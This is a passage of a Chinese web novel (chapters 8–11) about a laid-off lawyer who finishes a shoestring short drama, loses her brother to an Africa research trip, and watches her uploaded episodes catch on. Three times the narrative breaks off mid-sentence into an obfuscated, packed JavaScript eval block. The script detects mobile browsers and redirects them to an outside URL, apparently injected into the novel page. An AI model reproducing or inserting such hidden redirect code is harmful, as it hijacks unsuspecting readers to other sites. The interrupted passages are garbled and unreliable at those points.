反倒是对面饰演欺负人的配角的颜炎,气势越来越嚣张跋扈。 那句“你过来啊”的台词被喊得杀气腾腾,仿佛她才是那个要来逆袭的龙傲天本天。 常营痛苦地一捧脑袋,手指插进乱发里。 看着场地中央那完全颠倒的气场,终于忍无可忍地哀嚎道。 “我觉得,要不你俩干脆对换角色算了!让颜炎演蜜獾王子,庄文你去演那个嚣张配角!”“否则再这么下去,我们这龙傲天复仇记的男主,就快被逼成风中摇曳的小白花了!” 8. 第8章 跌跌撞撞,没日没夜的两个星期过去。 颜炎感觉自己像被抽干了的海绵,每天不是在对台词,就是在找状态,偶尔窝在折叠椅上打盹,梦里都是一帧帧画面在倒带。 拍摄现场永远闹哄哄的,灯光烤得人发烫,反光板晃得眼睛疼。 她习惯性地捏了捏一直挂在身前的蜜獾玩偶。 ——就是颜热手工缝的那个,针脚歪歪扭扭,黑毛白顶,丑得还挺倔强。 “停!好,过了!” 常营突然喊了一嗓子,嗓门哑得像是被砂纸摩擦过。 “全部结束!” 整个片场静了一秒。 随即响起几声有气无力的欢呼和零散掌声。 颜炎长长地、彻底地舒出一口气,胸腔里积压了十几天的疲惫仿佛都随着这口气飘了出去。 她下意识地又用力捏了一下那只蜜獾玩偶。 嗯,拍到后来,所有能里搜刮来、能体现角色怪癖和小性格的道具,几乎全被薅来了,包括这个蜜獾玩偶。 颜炎拖着有点发软的腿凑到监视器后面,常营正搓着下巴看回放。 颜热也悄没声地跟了过来,站到她旁边。 她这个弟弟,在最开始拍摄的两天里,完全是个失去灵魂的搬运工。 眼神空洞,挪动全靠本能。 可后来居然真给他适应了。 不仅能麻利地帮忙搬器材、打反光板,甚至还在某个需要一双人手出镜、但坚决不能露脸的镜头里,被抓了壮丁。 当然,露不露脸区别也不大了 ——毕竟兼职化妆师的庄文,已经按照“动物特质”,给每个人的脸上都挥毫泼墨了各色油彩条纹和斑点。 “常导,这就算是成片了吧?” 颜炎的声音充满了期盼。 “什么成片,这最多叫一堆生素材。我还得回去吭哧吭哧剪辑呢!” 常营头都没抬,直接一挥手。 “好了,等通知吧!赶紧都散了散了!” ...... 天色还不算太晚,夕阳还天空懒洋洋地挂着。 颜炎就拒绝了常营开车送他们回公寓的提议。 总觉得收工之后再坐导演的车,有点像额外讨要了个人情,心里不踏实。 在分别前。 她格外郑重地伸出双手握住常营的手,眼睛瞪得圆圆的,再三恳求。 “常导,拜托了!一定要认真、快速地把片子剪出来!我们等着看!” 那架势,活像是家长在托付自己即将远行的孩子。 然后。 颜炎就拖着像是电量仅剩1%、走路都有些飘忽的颜热。 两个人踏上了晚高峰的征途。 公交换地铁,地铁再换线,车厢里挤得像沙丁鱼罐头。 颜热几乎全程靠着杆子闭眼假寐。 颜炎自己也累得够呛,却还得强打精神盯着站牌,生怕坐过站。 一路颠簸。 总算是拖着沉重的步伐回到了那间熟悉的小公寓门口。 刚用钥匙拧开公寓的门,一股熟悉又让人安心的的味道扑面而来。 颜热就像是被触发了什么求生本能,瞬间复活。 跌跌撞撞地抢先一步冲进了洗手间,“砰”地一声关上了门。 颜炎无奈地笑了笑。 正在这时。 她放在挎包最底部的手机突然执着地响了起来 “是不是常营还有事?难道还有什么镜头要补?” 颜炎一边皱着眉头嘀咕,一边把肩上那个沉甸甸的挎包甩到沙发上。 整个人扑过去,手忙脚乱地伸进包里摸索。 可那挎包简直像个无底洞般的百宝箱,塞满了各种意想不到的物件: 半袋没吃完的薯片窸窣作响、被翻得卷边泛黄的剧本皱成一团、那个丑萌的蜜獾玩偶黑毛白顶地探头探脑。 还有不知道什么时候丢进去的几支笔,笔帽都没盖。 所有这些杂物都纠缠在一起,形成一团柔软又顽固的阻力。 她越急就越不得要领,手指在包里徒劳地划拉。 手机的嗡嗡震动声却不肯停歇,那震动仿佛带着催促的意味。 一次次贴着指尖滑过,冰凉坚硬的触感一闪即逝。 却偏偏怎么都抓不住。 颜炎顿时有些急躁了,额角甚至冒出了一层细密的汗珠。 生怕这电话下一秒就挂断了。 若是再回拨过去,以这段时间她对常营性子的了解,没人接听是极有可能的。 那不就白白错过了可能带来的重要消息了吗? 电光石火间。 颜炎猛地想起自己为了应对这种双手没空的情况,特意设置过语音接听功能。 于是立刻微微俯身,对着那堆杂物大声地、清晰地喊了句。 “接听!” 嗡鸣声戛然而止,通话被成功接通。 然而,随之从听筒里传出来的。 并不是她想象中常营那总是带着点沙哑的嗓音。 “喂?您好,是颜炎、颜律师吗?” 一个熟悉却又有些陌生的声音响起,语气公式化。 “我这边是律所人事部的。打电话是想提醒您一下,您的律师执业证还挂靠在我们律所。” 颜炎伸在包里的手瞬间顿住了,呼吸也随之猛地一窒。 仿佛被人无形中掐了一下脖子。 也就是在这一刻。 她的指尖终于准确地触碰到了那个冰凉的外壳,几乎是有些粗鲁地将手机从一堆东西里捞了出来。 屏幕亮起,上面清晰地显示着一个并不想看见的备注——前律所的人事。 颜炎深吸一口气,将手机贴到耳边,努力让自己的声音听起来平稳。 “我知道。我还在找工作,等找到了新的律所,我自然会把律师证转过去的。” 她面无表情地盯着对面墙上的一块细微裂纹。 尽量控制着自己,不流露出任何情绪。 电话那头的人事沉默了一秒,随即再次开口。 语气依旧十分客气,但那份客气背后是公事公办的冰冷和不容拒绝。 “抱歉啊,颜律师,理解您正在找新工作。” “但您毕竟已经正式离职了,所里觉得您的证件一直这样挂靠在这里,不太合适,也存在管理上的风险。” 他顿了顿,抛出了真正的来意。 “您看,要不您可以先把证注销,等找到了新律所再申请恢复?” “这样对您,还有所里,都会比较好。” “姐,谁的电话?常导吗?” 颜热从洗手间探出身,正好看见颜炎握着手机僵在原地,脸色有些发白。 “前律所的。” 颜炎摁熄屏幕,声音平直,听不出半点情绪。 她把手机扔回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513247|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙发上那只歪扭的蜜獾玩偶旁边. “催我赶紧去找新工作,别赖着不走。” ...... 接下来的一个星期里。 日子仿佛陷入了一种沉闷而焦灼的节奏,缓慢又硌人地向前滚动。 颜炎每天依然雷打不动地早起,把自己收拾得干净利落。 甚至比当初去原来的律所上班时,更注重这一丝不苟的仪表。 她仔细熨平衬衫的每一道折痕,将头发梳得一丝不乱。 带着精心打磨过的简历,汇入申市的人流,穿梭于那些冰冷的玻璃幕墙森林之间。 只是,现实很快显露出它冷硬的一面。 颜炎通过邮箱和招聘网站投出的大多数简历。 都如同水滴汇入深不见底的海洋,连一丝涟漪都未曾泛起。 只剩下APP里一个个已读不回的灰色标记,沉默地宣告着结局。 她也经历过为数不多的几轮面试。 有的在宽敞明亮、能俯瞰半个城市的高层会议室里,对面坐着表情疏离的人事。 有的则是在嘈杂飘着咖啡香的连锁咖啡馆,对方一边翻着她的简历一边漫不经心地搅动着拿铁。 然而结果总是殊途同归。 要么是当面带着程式化的歉意但不容置疑的拒绝。 “颜律师,您的背景确实非常优秀,只是我们目前这个岗位更倾向于有相关行业经验的候选人……”。 要么是面试后一封措辞标准而委婉的系统邮件。 感谢她付出的时间,并公式化地祝愿她前程似锦。 律师事务所这样,公司的法务部也是这样。 每一次微笑着说完“没关系,谢谢您的时间”,然后转身离开, 都像在她的神经上,又施加了一份无形的重量。 这天下午。 在结束一场气氛拘谨、结果依旧不置可否的面试后。 颜炎重新回到了烈日当头的街头。 阳光把柏油路面晒得发烫,空气里浮动着焦躁的热浪。 她站在写字楼投下的狭窄阴影里,后知后觉地感到喉咙干得发紧。 这才想起刚才那将近一个小时里。 自己几乎一刻不停地在轮流回答三位面试官连珠炮似的提问,连一口水都没顾上喝。 “买瓶水吧。” 颜炎对自己说,声音有点沙哑。 “再怎么省,也不能对自己太差劲。” 她推开路边一家便利店的玻璃门。 伴随着“叮咚”一声的开门音。 冷气扑面而来,瞬间带走了皮肤上的燥热。 颜炎在饮料架前略一犹豫,手指越过那些花花绿绿的果汁和气泡水。 最终拿起了最便宜的一款纯净水。 冰凉的瓶身握在手里,带来一丝短暂的慰藉。 走到收银台前。 她打开手机准备扫码付款。 屏幕亮起的瞬间,一个微信未读消息的红色圆点突兀地跳进了视线。 “面试前调了静音,忘记调回来了。” 颜炎小声嘀咕着,手指已经下意识地点开了那个绿色的图标。 “谁的消息啊?” 发信人赫然是常营。 消息的内容很简单,却让她的心跳猛然加速。 「颜炎,颜总,成片我剪出来了,这是网盘的链接。你先看下,有问题我们再沟通。」 9. 第9章 小公寓里。 空气里弥漫着一股泡面的味道。 笔记本电脑被摆在客厅的饭桌上。 屏幕亮着,椅子上坐着着颜炎和颜热姐弟俩。 在收到常营微信发来的成片链接后。 颜炎几乎是立刻赶回来拽着颜热,两人也围着桌子坐下,迫不及待就点击了播放。 “没想到啊,” 颜炎抱着一个半旧的靠垫,下巴搁在垫子上,声音里带着显而易见的惊讶。 “常营虽然长得那么…粗犷不羁,活干得倒是挺细致。” 她原本已经做好了心理建设。 准备看到一堆光线诡异、剪辑跳跃、充斥着穿帮镜头的灾难性画面。 然而,屏幕上流淌出来的成片效果. 虽然远远称不上精良,但居然还……能入眼。 拍摄时那几盏LED补光灯到底没白费,后期又不知道加了一层什么风格的滤镜. 竟然巧妙地将那些粗制滥造、现做现用的破烂布景,蒙上了一层颇具质感的朦胧光晕. 看着还真像那么回事。 “姐。” 颜热吸溜着泡面,含混不清地趁机大拍马屁。 “我觉得吧,主要还是你演得好!那眼神,那气势,绝了!” 经此一役。 他对颜炎的粉丝滤镜,恐怕比常营在视频里用的所有滤镜加起来,还要厚上几分。 但是,话又说回来了。 在庄文的化妆术加持下。 ——脸上画了不少蜜獾同款的黑白条纹,几乎看不出本来长相,头顶上还闪烁着“蜜獾”的卡通字样。 时不时还有虽然廉价但莫名应景的“Duang”、“啪啪”特效光球乱飞 ——颜炎、庄文,再加上那个只露一双手或者一个背影的颜热。 凑巴凑巴算是三个半的演员,居然还像模像样地把这个《我的王子是蜜獾》给撑起来了。 跟那些动辄七八十集、一刷就停不下来的上头商业短剧肯定不能比。 人家的剧情跌宕起伏,套路精准。 而这片子的画面偶尔还会微妙地卡顿一下,某些道具的粗糙质感在特写镜头下依旧无所遁形。 透着一股拮据却努力的心酸。 但颜炎盯着屏幕上滚动的画面,心里某个地方还是悄悄松动了一下—— 从一堆废纸和破烂。 到眼前这个有头有尾、有尬笑也有那么一丁点热血的成片。 甭管多寒碜。 居然还真的让他们给搞出来了? ...... 罗艾的办公室里,冷气开得十足。 落地窗外是申市繁华的天际线,但室内的气压却有点低。 “居然真的还让你们给搞出来了?” 罗艾靠在宽大的皮质办公椅上,目光盯着电脑屏幕上正在播放的《蜜獾王子》,脸上流露出实打实的、毫不掩饰的惊讶。 “是,罗经理。您看,这……还凑合吧?” 颜炎独自坐在罗艾对面那张的客椅上。 原本她是照旧要拖着颜热一起来的 ——这祸好歹是他闯的,凭什么每次谈判都她顶在前面? 但是临出门前,颜热居然抓耳挠腮地说什么。 “姐,我临时有个特别重要的事,真去不了!”。 然后一溜烟就没影了。 话说,自从拍摄完成后。 颜炎每天焦头烂额地四处奔波投简历、面试,累得像条脱水的鱼。 结果颜热那家伙也变得鬼鬼祟祟,每天早出晚归。 问就是在“忙正事”,具体是什么又支支吾吾,一副神神秘秘的样子。 让人心里直犯嘀咕。 颜炎迅速唤回自己飘远的思绪,现在不是琢磨那小子的时候。 她深吸一口气,目光迎向罗艾。 决定抓住对方看起来心情还不错的这个时机。 “罗经理,那关于延长一年的还款期限……” 颜炎试探着开口,声音尽量保持平稳,不让内心的期待泄露太多。 “没问题!就按之前签订的补充协议来。 罗艾回答得十分痛快。 “还款期限从明天开始算。” 颜炎悬了整整三个多星期的那口气。 终于长长地、慢慢地松了出来。 ...... 傍晚时分。 夕阳的余晖透过厨房的玻璃窗。 在狭小的公寓里投下长长的、暖色调的光带。 空气里漂浮着细微的尘埃,安静得能听见楼下隐约传来的车流声。 “颜热,颜热!” 颜炎用肩膀顶开房门,手里拎着沉甸甸的超市购物袋,还没换鞋就开始喊,声音里带着一种难得轻快的调子。 “出来搭把手!今晚加餐!罗艾那边总算过了,成片被认可了,我们得庆祝一下!” 袋子里装着刚买的各种开袋即用的熟食和水果,甚至还捎上了二罐冰汽水。 然而,回应颜炎的,只有空荡荡的房间和一片过分安静的空气。 “还没回来吗?这都几点了…” 她心里的那点小兴奋像被戳了个口子,慢慢漏气了。 颜炎嘟囔着,觉得手里的袋子勒得手疼。 便趿拉着拖鞋往里走,想着先放到客厅的饭桌上再说。 刚靠近那张兼作了书桌、饭桌和杂物台的桌子。 颜炎的脚步就顿住了。 桌子正中央,异常醒目地放着一张浅色的银行卡。 银行卡下面,工工整整地压着一张从笔记本上撕下来的横线纸。 纸上还有颜热那特有的、努力想写端正却依旧有点歪扭的字迹。 “什么呀…居然不发微信,还写字条。” 颜炎心里嘀咕,一种说不清道不明的预感让她下意识地屏住了呼吸。 她弯下腰,把购物袋随手放在脚边,凑近了那张纸条。 「姐:」 「我大学导师那边有个紧急的野生动物观测项目,缺人手,要去非洲大草原待一阵子。问我要不要参加,是给酬劳的!」 「经过这次拍短剧的事情,我彻底想明白了(真的!),我可能…还是更适合跟动物们打交道。所以我就跟着去了。时间太紧,今天下午三点的飞机就走!」 「PS:卡里的10万元,是我死乞白赖跟导师预支的薪水!卡的密码是你生日。我只能先还一半啊,剩下的一半,还有你当初给我的那份“天使投资”,我会继续努力的!(奋斗握拳表情)」 「—— 你即将成为草原之王的弟弟,颜热。」 纸条的最下面。 还用简笔画了一只歪歪扭扭、龇牙咧嘴的蜜獾。 “啪嗒。” 颜炎手里那个沉甸甸的、装着庆祝希望的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513248|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 购物袋,直直地掉在了地板上。 发出一声闷响。 一颗橙子从袋口滚出来,一路滚到了墙角才停下。 她像是没看见,只是猛地直起身,手有些发颤地从口袋里掏出手机。 戳开屏幕,找到颜热的号码拨出去—— 「您所拨打的用户已关机。」 听筒里传来冰冷而机械的女声。 颜炎不死心,又划开微信,点开那个熟悉的头像按下语音通话。 漫长的等待音之后,最终依然无人接听。 屏幕的光亮映在她有些失焦的瞳孔里。 颜炎慢慢地、慢慢地蹲下身,背靠着桌腿,坐在了地板上。 她抬起手,用手指用力地按了按突突直跳的太阳穴。 望着地板上滚远的那个西红柿,喃喃自语道。 “非洲大草原…距离申市,该有…十几个小时的飞机吧。” ...... 十几个小时之后。 凌晨的城市尚未苏醒,只有偶尔的几声鸟鸣。 可在这片静谧之下。 颜炎却在床上翻来覆去,最后只能直直地瞪着天花板上模糊不清的光影轮廓。 一晚上都没能合眼。 远处街灯的微光,透过没拉严实的窗帘缝隙。 在她脸上切出一道明暗交界线。 她和颜热的父母早年响应号召“上山下乡”。 离开申市去了遥远的、靠北边的城市,就此在那里扎根生活。 即使现在两人都已临近退休,却总说同事朋友都在当地,习惯了那里的气候和慢节奏。 怎么也不愿意再回申市来生活。 后来,她和颜热好不容易把户口迁回申市,又双双考上了这里的大学。 姐弟俩才算在这座城市里互相依偎着,有了个落脚点。 虽然颜热是个成天沉迷动物世界、做事毛毛躁躁的不靠谱宅男。 可从小到大,两人还从没分开过这么远的距离。 以前就算再闹腾,也知道对方就在这个城市,马上就能见上面。 唉…… 颜炎的脑子里百转千回,担忧、气恼、还有一丝被独自抛下的委屈感交织在一起。 拧成一股粗糙的绳,反复摩擦着本就紧绷的神经。 她真恨不能顺着手机微信信号穿过去,把这个先斩后奏的弟弟给当场暴打一顿,再揪着耳朵拽回来。 正在这时。 放在枕头旁边的手机屏幕忽然亮了起来,柔和的光瞬间驱散了一小片黑暗。 微信特有的提示音打破了房间里的死寂。 颜炎几乎是在瞬间就抓过了手机,指尖因为用力而有些发白。 屏幕上,颜热的微信对话框里急促地跳出来几段文字: 「姐,我们到啦!机场出来一路简直像在蒸笼里开车,热疯了!我还没买到当地的手机卡,现在是连着一家餐馆Wi-Fi网络给你发消息,信号有点飘。」 「我很好,吃过点东西了,过会整顿一下,我们就要去开始第一天的工作了,放心吧。」 紧跟着文字的,是一张显然刚拍好的自拍照。 照片背景是一家看着就很有非洲特色的餐馆。 木质桌椅,墙上挂着色彩鲜艳的编织毯,窗外是晃眼的阳光和绿植。 颜热正对着手机镜头,咧着嘴,笑得没心没肺,比了个大大的耶。 10. 第10章 看到颜热发来的报平安消息和那张没心没肺的笑脸。 颜炎刚松下的一口气瞬间又堵回了胸口,一股火气“噌”地一下直冲天灵盖。 她猛地从沙发上坐直,两手拇指齐上阵。 像是要把所有怒火都灌注进去似的,几乎是恶狠狠地戳着手机屏幕,飞快地回了条消息过去。 屏幕被摁得啪啪作响,仿佛下一秒就要被徒手戳穿。 「你说都不跟我说一声,就这么跑到非洲去了?!你知不知道这有多让人担心?!啊?」 每一个感叹号,都凝聚着她此刻的的焦虑和愤怒。 消息刚发出去,连口气都没来得及喘. 对话框顶上那行“对方正在输入…”的提示,就立刻跳了出来。 速度快得离谱。 颜热的文字紧接着流畅弹出。 仿佛他早就蹲在手机那头,把这一套说辞在对话框里反复排练了八百遍。 就等着颜炎来兴师问罪的那一刻。 「姐,你别生气嘛!真的是项目时间太紧了,机会稍纵即逝。要是我先跟你说了,我们肯定得拉拉扯扯的,你一劝,我一犹豫,这机会说不定就真黄了。」 「再说了,姐你那段时间每天天不亮就出门面试,回来后累得话都不想说,我想找你说也没机会啊…(委屈对手指表情包)」 颜炎对着手机屏幕上那几条新蹦出来的消息,呼吸猛地一窒。 千算万算,也没算到颜热这小子出去后。 居然学会了倒打一耙! 更可气的是,他那套歪理邪说。 听起来居然还真有那么几分道理。 颜炎一时竟被噎得哑口无言,只能瞪着屏幕干喘气。 不行! 绝对不能再这样被绕进去!必须得夺回隔空交锋的主导权! 颜炎猛地深吸一口气,努力将胸腔里那翻腾着的不甘压下去,手指重新悬在屏幕键盘上敲敲打打。 「少来这套!别想转移话题!你人跑了,这破剧刚拍好,接下来这一年的运营谁管?后续的收益又从哪儿来?你告诉我怎么办?」 这一次。 颜热的回复来得更快, 文字里甚至都带上了一种几乎要溢出屏幕的、嬉皮笑脸的笃定。 那语气活灵活现。 仿佛隔着冰冷的屏幕都能清清楚楚地看到他那副挠着后脑勺、咧着嘴嘿嘿傻笑的赖皮模样。 「哎哟,姐,我还不了解你嘛!你既然都能提出要签补充协议,那肯定是已经想到什么办法了!」 「这样这样,我颜热以此微信为证,郑重声明:这个“蜜獾短剧”,不管产生多少收益,都归颜炎一人所有!至于欠投资人的钱,我一定在外努力,早日自己全还上」 「哎哎,姐,真不说了,导师在扯着嗓子叫我了,等到了有稳定网络的地方我再跟你联系哈!保重!」 最后一条消息蹦出来后,对话框彻底安静了下来。 颜炎瞪着手机良久,只得发出一声被晾在原地的、哭笑不得的长叹。 ...... 本着“买都买了,不能浪费”的朴实原则。 颜炎对着一堆熟食和水果发起了攻击。 平时只要姐弟见面,做饭烧菜的都是颜热。 但是她用个电饭煲,给自己煮个饭,再用微波炉加热一下熟食,还是没问题的。 没多久。 颜炎就端着堆得冒尖的饭碗,盘腿坐到了客厅沙发上。 对着茶几上堪称丰盛的一人大餐。 她毫不犹豫地撬开那两罐冰汽水,左右开弓,一口气“咕咚咕咚”全给喝了。 冰凉带气的水流激得她打了个爽快的嗝,仿佛把心里的郁结也冲开了一点。 吃饱喝足。 颜炎瘫在沙发里,摸着微胀的肚子,目光扫过桌上那只丑萌的蜜獾玩偶。 白天在罗艾面前强撑的镇定和冷静彻底卸下。 一种“前路茫茫”的虚脱感,混着汽水的饱嗝一起涌了上来。 “是,我是想到办法了,但是办法行不行得通,我还不知道呢!” 颜炎对着空荡荡的客厅,没头没尾地喊了一句。 像是在回答某个看不见的质问,又像是在给自己打气。 声音在安静的房间里显得有点突兀,却格外真实。 这个所谓的“办法”,可不是凭空得来的。 早在上次去找罗艾谈补充协议之前。 颜炎把自己关在家里恶补短剧的那几天,就不仅仅是在看热闹。 职业病让她下意识地刨根问底,研究了一下整个盈利流程。 颜炎很快就发现一个冰冷的现实: 即便他们这部《我的王子是蜜獾》拍出来了,即使在不考虑质量这种“高阶问题”的情况下。 想直接上线搞“付费点播”之类,这条路基本没戏。 光是发行资质这道门槛,就能把他们这种草台班子拦住。 而更现实的问题是,想要人来看,就得砸钱做推广、买流量——这无异于新一轮的烧钱。 可他们现在最缺的,恰恰就是钱。 “所以,就只能先这样试试了。死马当活马医吧。” 颜炎像是给自己下了最后通牒。 一骨碌从柔软的沙发垫子上滚下来,光脚踩在微凉的地板上,伸手捞过茶几上的笔记本电脑。 机器启动的微弱风扇声,成了寂静客厅里唯一的声响。 屏幕的光亮映出。 她熟练地打开浏览器,点进一个当下最火的短视频平台官网。 开始填写手机号、设置密码……注册一个全新的个人账号。 “啧,本来这些活,都该使唤颜热那小子做的。” 颜炎一边熟练地敲着键盘,一边对着空荡荡的客厅自言自语。 声音里带着点认命般的抱怨。 “现在倒好,这小子一拍屁股跑到地球另一边去了,留下个烂摊子,还得我亲自上手。” 所有信息填写完毕。 她深吸一口气,从电脑里拖出常营发来的成片文件。 选中了第一集—— 时长掐得正好,一分钟左右,短小精悍,适合碎片时间观看。 点击上传。 看着进度条缓慢加载。 颜炎心里暗自庆幸。 “还好事先查过规则,特地千叮万嘱让常营把‘本故事纯属虚构’那几个字,给牢牢做在每集的右上角了。” “全程展示,清晰得不能再清晰。” 她可太清楚了。 要是因为这种审核问题被卡住、打回来。 再想去找那位常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513249|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导回炉重做,指不定要等到猴年马月。 时间,现在最浪费不起的就是时间。 “好了,接下来,发布前要填……视频名称……” 颜炎手指在键盘上敲得爽利,打出“蜜獾王子”四个字后,却像是突然被按了暂停键,猛地停住了。 她盯着屏幕,下意识地摸了摸自己的脸。 说起来,这剧里顶着蜜獾脑袋、上蹿下跳的主角,可全是她在出镜。 看这身形,再叫“王子”…… 好像是有那么点不合适了? 念头一转。 颜炎嘴角牵起一丝极淡的、又带着点自嘲的笑意。 “行。” 她低声对自己说,仿佛做出了一个重大决定。 “那就叫‘蜜獾女王’吧!” 手指落下,果断地删掉“王”,添上“女王”。 然后移动鼠标,对准了那个鲜亮的“发布”按钮,毫不犹豫地按了下去。 “啪!” 颜炎利落地合上笔记本电脑屏幕。 清脆的声响在房间里显得格外清晰,仿佛为这个时刻画上了一个句号。 “就这样!” 她对着黑屏的电脑宣布道。 ...... 与此同时。 罗艾的办公室里依旧灯火通明。 冷白的光线将房间照得明亮,却丝毫驱不散夜晚的寂静。 罗艾刚审完手头几个项目的最新进度表。 有些疲惫地摘下那副用来挡蓝光的平光眼镜,用力捏了捏酸胀的鼻梁。 然后将整个身体向后沉进了宽大舒适的办公椅里,发出一声轻微的叹息。 就在这片刻的宁静中。 桌上的手机突兀地响了起来。 铃声在空旷的办公室里显得格外清晰。 罗艾瞥了一眼来电显示,眉梢微挑,随即利落地接了起来。 “喂,陶总。” 她的声音瞬间切换回职业化的清晰与沉稳,听不出丝毫方才的疲惫。 “是,之前按照您的意思,给了那个颜热一年的宽限期。” 罗艾听着电话那头的回应,手指在桌面上轻轻敲击着。 “对,寄过去的补充协议,您那边收到了是吧?条款都按您的要求拟的,没问题就好。” “行,那后续有什么情况,我们再随时联系。” 电话挂断,忙音响起。 罗艾将手机放回桌面,身体重新靠回椅背,摇了摇头。 唇角牵起一丝意味不明的轻轻一笑。 “陶总这是铁了心要还颜热那位导师人情,非要给这个机会不可。” 她像是分析项目利弊一样,低声自语。 “正好,我这边项目的投资总结报告上,也需要一个‘尝试孵化但尚未达预期’之类能交代得过去的结论。” “这么看来,倒算是颜热那小子……哦,还有他那个挺能折腾的姐姐,运气不错,撞上了。” 然而,这丝笑意很快便敛去了。 罗艾站起身,踱步到落地窗前,俯视着楼下明亮的车流。 玻璃上映出她冷静甚至略带审视意味的脸庞。 “不过,就算他们累死累活做出了成片。” “可没有后续资金去投流、去砸量。谈什么收益呢?” 11. 第11章 接下来的日子,颜炎的生活被精准地切割成两块。 一块是小透明“个人视频号博主”。 她雷打不动,每天准时坐在电脑前。 将常营发来的成片里的一集,检查一下右上角那行“本故事纯属虚构”的小字是否安在 然后上传到那个崭新的、粉丝数还是个位数的账号上。 另一块是现实中来回奔波的求职打工人。 上传完毕。 合上电脑,她就得立刻换装,抓起简历,汇入拥挤的人群。 奔赴一场又一场结果大抵相似的面试。 常常是,颜炎刚在某个狭小的会议室里,对着表情疏离的人事说完。 “我相信我的专业能力能胜任贵所岗位”。 肚子就不合时宜地叫起来,提醒她赶场面试,午饭还没着落呢。 ...... 颜炎站在冷柜旁,手里拿着一个金枪鱼饭团,塑料包装纸被撕得刺啦响。 她一边机械地啃着刚加热好的米饭,一边望着窗外匆匆走过的白领。 脑子里不受控制地复盘。 也怪她自己。 当初在律所的时候,像个蒙眼拉磨的驴,总觉得天塌下来有高个子顶着。 只要把合伙人派下来的案子办好、办漂亮,就是全部。 从来没想过,也没那份精力。 去经营自己的人脉,去开拓属于自己的客户。 当然,那时也确实被案卷埋得没日没夜,喘口气都是奢望。 就算想了,也根本没时间没力气去实施。 结果呢? 结果就是临到被裁了。 她颜炎也还是个纯粹的、拿固定薪水的雇员律师。 一旦被移出公司的通讯录,就好像从未存在过一样。 “哎——” 一声轻不可闻的叹息,混着饭团的味道,一起被咽回了肚子里。 颜炎捏紧了手里的包装纸,把它团成一个紧绷的小球。 挎包里,那阵执着又突兀的铃声再次响了起来,打破了便利店玻璃窗前的短暂放空。 她嘴里还含着最后一口没咽下去的饭团,含混地“唔”了一声。 没什么兴致地伸手进包里摸索。 冰凉的手机外壳混在一堆杂物的缝隙里。 颜炎心里估摸着,八成又是哪个律所的人事要来通知她“很遗憾未能通过”或者是下一场面试的邀约—— 鉴于前者的概率远大于后者,她实在提不起什么期待。 然而屏幕上跳动着的“常营”两个字,却让她愣了一下,差点被那口饭团噎住。 颜炎赶紧捶了捶胸口,费力地咽下去,心里纳闷。 这位交完成片后就仿佛人间蒸发、连微信都惜字如金的导演。 怎么突然想起给她打电话了? “喂,常导?” 她接起电话,努力让声音听起来正常些,同时四处张望寻找丢弃包装纸的垃圾桶。 “找我什么事啊?是成片还有什么问题吗?” “哎呦喂!颜炎!颜总!” 电话那头,常营的声音像是刚灌了一大罐咖啡,中气十足,震得人耳膜嗡嗡响。 他的语气里带着一种前所未有的热络。 “你自己偷偷摸摸干了什么好事,你自己心里不清楚啊?” “我…我干什么了?” 颜炎被这劈头盖脸的一问问得彻底懵了,下意识地停下找垃圾桶的动作。 站在原地飞快地把最近自己干的事在脑子里过了一遍——投简历、面试、回家、上传视频、啃饭团…… 除了这些,她还能干什么?哪件事能跟这位导演扯上关系? “是我……传的那些短视频?” 她迟疑着,试探性地问了一句,心里完全没底。 这能算个什么事? “对喽!就是那个!” 常营在电话那头哈哈一笑,声音爽朗得几乎能穿透电波。 “也不知道怎么搞的,我们那小短剧好像蹭上什么‘生死看淡,不服就干’的梗了,平台上居然还真有了点热度!” “哎,当初我不是把导演名字给做在片尾了吗?” “好家伙,就今天,居然有好几拨人通过平台摸过来联系我,问我接不接新活,什么广告、宣传片都有!可真是托了你的福啦!” 颜炎:“......” 常营那仿佛中了彩票般的兴奋劲儿,透过电音滋滋地传过来。 像一只无形的手,把她直接从便利店窗前那点自怨自艾的情绪里给薅了出来。 什么播放量?什么热度?什么联系接活? 一连串的问号砸得颜炎有点发懵,也顾不上再找什么垃圾桶了。 她把手心里那团被捏得死紧的包装纸,往外套口袋里随手一塞。 空出手就点开了手机的应用商店。 指尖因为刚才攥得太用力,甚至有点微微发麻。 随后,便焦急地等着那个熟悉的图标下载安装。 可惜进度条慢得,让人心焦。 为什么非得现场下载? 这事说起来还有点尴尬。 刚上传视频那几天。 颜炎可不是现在这态度。 那会儿她几乎得了强迫症,隔个十几分钟就要刷新一次手机客户端。 可每次点开。 看到的不是个位数的点赞,就是空空如也的评论区。 被这种无声的冷水反复浇了太多次后,颜炎那点本就不多的热情彻底耗尽了。 一狠心,她干脆就把手机端的APP给删了。 